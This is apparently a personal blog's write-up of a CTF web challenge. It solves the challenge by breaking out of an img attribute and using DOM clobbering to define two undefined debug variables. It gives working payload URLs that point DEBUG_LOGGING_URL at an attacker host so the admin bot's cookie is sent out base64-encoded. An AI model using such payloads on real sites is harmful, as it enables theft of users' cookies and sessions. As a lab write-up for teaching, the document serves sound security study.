GODSON'S BLOG
← Back to Writeups

DOM Clobbering - Clobber Undefined Variables!

A TamilCTF web challenge with HTML injection but a tight CSP — instead of chasing script execution, we DOM-clobber two undefined debug variables (DEBUG_MODE, DEBUG_LOGGING_URL) referenced by app.js to redirect the admin bot's cookie exfiltration to our own domain.

Recently, I played a CTF with my team, TamilCTF, and mainly focused on web challenges. So, I decided to write solutions for the challenges I found interesting. This post covers the solution for one of them.

💡 Challenge Name: Don’t Only Mash… Clobber!

Challenge banner

Challenge description

#Submit an image link to our "evaluator" and steal their cookie!

It looks like another XSS challenge at first sight, but note that the challenge name says Clobber — probably a reference to a technique called DOM Clobbering.

Website

The image-submission app

Functionalities

  • We can submit any URL, and the front end will render the image in the UI (client-side rendering).
  • We can also submit a picture to the admin bot.

Source Code Review

server.js:

const express = require('express')
const bodyParser = require('body-parser');
const puppeteer = require('puppeteer')
const escape = require('escape-html')

const app = express()
const port = 9000

app.use(express.static(__dirname + '/webapp'))
app.use(bodyParser.urlencoded({ extended: false }));

app.get('/personalize', (req, res) => {
  const imageUrl = req.query.image
  if (typeof imageUrl !== 'string' || !imageUrl) {
    res.send("'image' query parameter needs to be a string")
    return
  }

  try {
    var newUrl = new URL(imageUrl)
    console.log(newUrl)
  }
  catch (e) {
    res.send(escape(e.message))
    return
  }

  const pageContent =
    `
    <html>
    <head>
    <script src="/app.js"></script>
    </head>
    <body id="body">
    <p>Here is the image you submitted:</p>
    <img id="user-image" src="${newUrl}">
    <br/>
    <br/>
    <p>You submitted this url: <span id="user-image-info"></span></p>
    </body>
    </html>
    `

  // The intended solution does not involve bypassing CSP and gaining XSS.
  // If you can do so anyway, go for it! :)
  res.set("Content-Security-Policy", "default-src 'self'; img-src *; object-src 'none';")
  res.setHeader('Content-Type', "text/html")
  res.send(pageContent)
})

const visitUrl = async (url, cookieDomain) => {
  let browser =
    await puppeteer.launch({
      headless: true,
      pipe: true,
      dumpio: true,
      ignoreHTTPSErrors: true,
      args: [
        '--incognito',
        '--no-sandbox',
        '--disable-gpu',
        '--disable-software-rasterizer',
        '--disable-dev-shm-usage',
      ]
    })

  try {
    const ctx = await browser.createIncognitoBrowserContext()
    const page = await ctx.newPage()

    try {
      await page.setCookie({
        name: 'flag',
        value: 'FLAG{PAKE_PLAG}',
        domain: cookieDomain,
        httpOnly: false,
        samesite: 'strict'
      })
      await page.goto(url, { timeout: 6000, waitUntil: 'networkidle2' })
    } finally {
      await page.close()
      await ctx.close()
    }
  }
  finally {
    browser.close()
  }
}

app.post('/visit', async (req, res) => {
  const url = req.body.url
  console.log('received url: ', url)

  let parsedURL
  try {
    parsedURL = new URL(url)
  }
  catch (e) {
    res.send(escape(e.message))
    return
  }

  if (parsedURL.protocol !== 'http:' && parsedURL.protocol != 'https:') {
    res.send('Please provide a URL with the http or https protocol.')
    return
  }

  if (parsedURL.hostname !== req.hostname) {
    res.send(`Please provide a URL with a hostname of: ${escape(req.hostname)}`)
    return
  }

  try {
    console.log('visiting url: ', url)
    await visitUrl(url, req.hostname)
    res.send('Our evaluator has viewed your image!')
  } catch (e) {
    console.log('error visiting: ', url, ', ', e.message)
    res.send('Error visiting your URL: ' + escape(e.message))
  } finally {
    console.log('done visiting url: ', url)
  }
})

app.listen(port, async () => {
  console.log(`Listening on ${port}`)
})

Content Security Policy

The server sets a fairly strict CSP:

// The intended solution does not involve bypassing CSP and gaining XSS.
// If you can do so anyway, go for it! :)
res.set("Content-Security-Policy", "default-src 'self'; img-src *; object-src 'none';")

We can only bypass this CSP if a JSONP endpoint exists in the app — it doesn’t.

HTTP GET Route — /personalize

We can provide an image URL, e.g. /personalize?image=http://pic.com/pic.png, and the server embeds it as an <img> src.

HTTP POST Route — /visit

POST /visit
Host: challenge.host
Content-Type: application/x-www-form-urlencoded

url=<url>

This makes the admin bot (via Puppeteer) visit the given URL, carrying a cookie holding the flag.

HTML Injection

The user-supplied URL is embedded directly into the page template without sanitization:

const pageContent =
  `
  <html>
  <head>
  <script src="/app.js"></script>
  </head>
  <body id="body">
  <p>Here is the image you submitted:</p>
  <img id="user-image" src="${newUrl}">
  <br/>
  <br/>
  <p>You submitted this url: <span id="user-image-info"></span></p>
  </body>
  </html>
  `

Since it’s embedded directly into the <img> tag, injecting "> lets us break out of the attribute:

Breaking out of the img tag's src attribute

That would normally be an easy XSS, but the CSP shuts down inline/external script execution:

CSP blocking script execution

DOM Clobbering

The /personalize page also loads app.js:

app.js loaded by the personalize page

window.onload = () => {
  const imgSrc = document.getElementById('user-image').src
  document.getElementById('user-image-info').innerText = imgSrc

  if (DEBUG_MODE) {
    // In debug mode, send the image url to our debug endpoint for logging purposes.
    // We'd normally use fetch() but our CSP won't allow that so use an <img> instead.
    document.getElementById('body').insertAdjacentHTML('beforeend', `<img src="${DEBUG_LOGGING_URL}?auth=${btoa(document.cookie)}&image=${btoa(imgSrc)}">`)
  }
}

If DEBUG_MODE is truthy, this injects a new <img> tag whose src is DEBUG_LOGGING_URL, with document.cookie appended, base64-encoded. But neither DEBUG_MODE nor DEBUG_LOGGING_URL is declared anywhere — referencing them throws Uncaught ReferenceError:

Uncaught ReferenceError for DEBUG_MODE in the console

Since the CSP has no explicit script-src (and default-src is 'self'), this HTML injection alone can’t get us script execution unless we can upload a file to the server. But since we already have HTML injection, we can use DOM Clobbering to define DEBUG_MODE ourselves, by giving an element an id/name that shadows a global variable reference through window’s prototype chain.

Payload

To clobber DEBUG_MODE into existence:

https://wsc-2022-web-2-bvel4oasra-uc.a.run.app/personalize?image=https://google.com/"><a id="DEBUG_MODE">

Visiting this makes the DEBUG_MODE error go away, and a new error appears instead:

DEBUG_MODE clobbered, new error for DEBUG_LOGGING_URL

Now DEBUG_LOGGING_URL is undefined — so we clobber that too, using an anchor’s href attribute to control its value:

https://wsc-2022-web-2-bvel4oasra-uc.a.run.app/personalize?image=https://google.com/"><a id="DEBUG_MODE"><a id="DEBUG_LOGGING_URL" href="https://attacker.com">

Visiting this produces zero errors:

Zero console errors after clobbering both variables

Meaning the app injected an <img> tag whose src points at attacker.com. Checking the network tab confirms the request landed with cookies attached:

Network request to attacker.com carrying the cookie

The ?auth= parameter holds base64-encoded cookies — empty here since we have none set ourselves. The real flag lives in the admin bot’s cookie, so sending this same payload to the bot (with DEBUG_LOGGING_URL pointed at our own domain) exfiltrates it.

💡 Flag: wsc{d0m_cl0bb3r1ng_15_fun}

On This Page